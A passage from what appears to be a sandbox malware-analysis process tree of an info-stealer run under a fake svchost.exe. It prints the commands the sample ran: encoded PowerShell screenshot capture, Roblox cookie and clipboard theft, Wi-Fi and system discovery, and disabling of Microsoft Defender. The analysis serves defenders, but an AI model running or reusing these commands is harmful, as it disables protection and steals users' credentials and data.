dAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        41⤵
        
        PID:6780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        42⤵
        
        PID:6356
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rbidqd4p\rbidqd4p.cmdline"
        43⤵
        
        PID:4212
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB86.tmp" "c:\Users\Admin\AppData\Local\Temp\rbidqd4p\CSCEE633ECAE5D4BAA9FA4B3B557A7F75.TMP"
        44⤵
        
        PID:5344
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        41⤵
        Executes a command shell one-liner
        
        PID:2036
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        42⤵
        
        PID:2908
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        41⤵
        
        PID:296
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        42⤵
        
        PID:836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        41⤵
        Executes a command shell one-liner
        
        PID:6232
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        42⤵
        
        PID:5200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        41⤵
        
        PID:6152
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        42⤵
        
        PID:6368
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        41⤵
        Executes a command shell one-liner
        
        PID:6608
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        42⤵
        
        PID:6360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        41⤵
        Executes a command shell one-liner
        
        PID:7068
        
        C:\Windows\system32\getmac.exe
        
        getmac
        42⤵
        
        PID:2164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        41⤵
        
        PID:6156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        41⤵
        
        PID:7076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        42⤵
        
        PID:1912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI43042\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\6yKMM.zip" *"
        41⤵
        
        PID:7056
        
        C:\Users\Admin\AppData\Local\Temp\_MEI43042\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI43042\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\6yKMM.zip" *
        42⤵
        
        PID:3632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        41⤵
        
        PID:5536
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        42⤵
        
        PID:6264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        41⤵
        
        PID:4512
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        42⤵
        
        PID:7072
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        41⤵
        
        PID:3876
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        42⤵
        
        PID:4568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        41⤵
        
        PID:2020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:608
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        41⤵
        Executes a command shell one-liner
        
        PID:6360
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        42⤵
        Detects videocard installed
        
        PID:5204
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        41⤵
        Executes a command shell one-liner
        
        PID:1704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        42⤵
        
        PID:3424
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        38⤵
        
        PID:2732
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        39⤵
        
        PID:2260
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        37⤵
        
        PID:1756
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        38⤵
        
        PID:7120
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        36⤵
        
        PID:5760
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        37⤵
        
        PID:4124
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        35⤵
        
        PID:4564
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        36⤵
        
        PID:6696
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        34⤵
        
        PID:2968
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        35⤵
        
        PID:1948
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        33⤵
        
        PID:6216
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        34⤵
        
        PID:2856
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        32⤵
        
        PID:6552
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        33⤵
        
        PID:6596
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'"
        34⤵
        
        PID:6956
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        35⤵
        
        PID:4668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'
        35⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5872
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        34⤵
        Executes a command shell one-liner
        
        PID:584
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        35⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        
        PID:3136
        
        C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        35⤵
        Deletes Windows Defender Definitions
        
        PID:4308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎.scr'"
        34⤵
        Executes a command shell one-liner
        
        PID:4556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎.scr'
        35⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        34⤵
        
        PID:6992
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        35⤵
        Discovers running processes
        
        PID:5648
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        34⤵
        Executes a command shell one-liner
        
        PID:1636
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        35⤵
        Discovers running processes
        
        PID:6444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        34⤵
        
        PID:5672
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        35⤵
        
        PID:4948
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        34⤵
        Clipboard Data
        
        PID:6460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        35⤵
        Clipboard Data
        
        PID:6716
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        34⤵
        
        PID:6252
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        35⤵
        Discovers running processes
        
        PID:6740
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        34⤵
        Executes a command shell one-liner
        
        PID:1720
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        35⤵
        
        PID:6664
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        34⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3016
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        35⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6848
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        34⤵
        
        PID:6724
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        35⤵
        Gathers system information
        
        PID:6796
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        34⤵
        
        PID:6824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
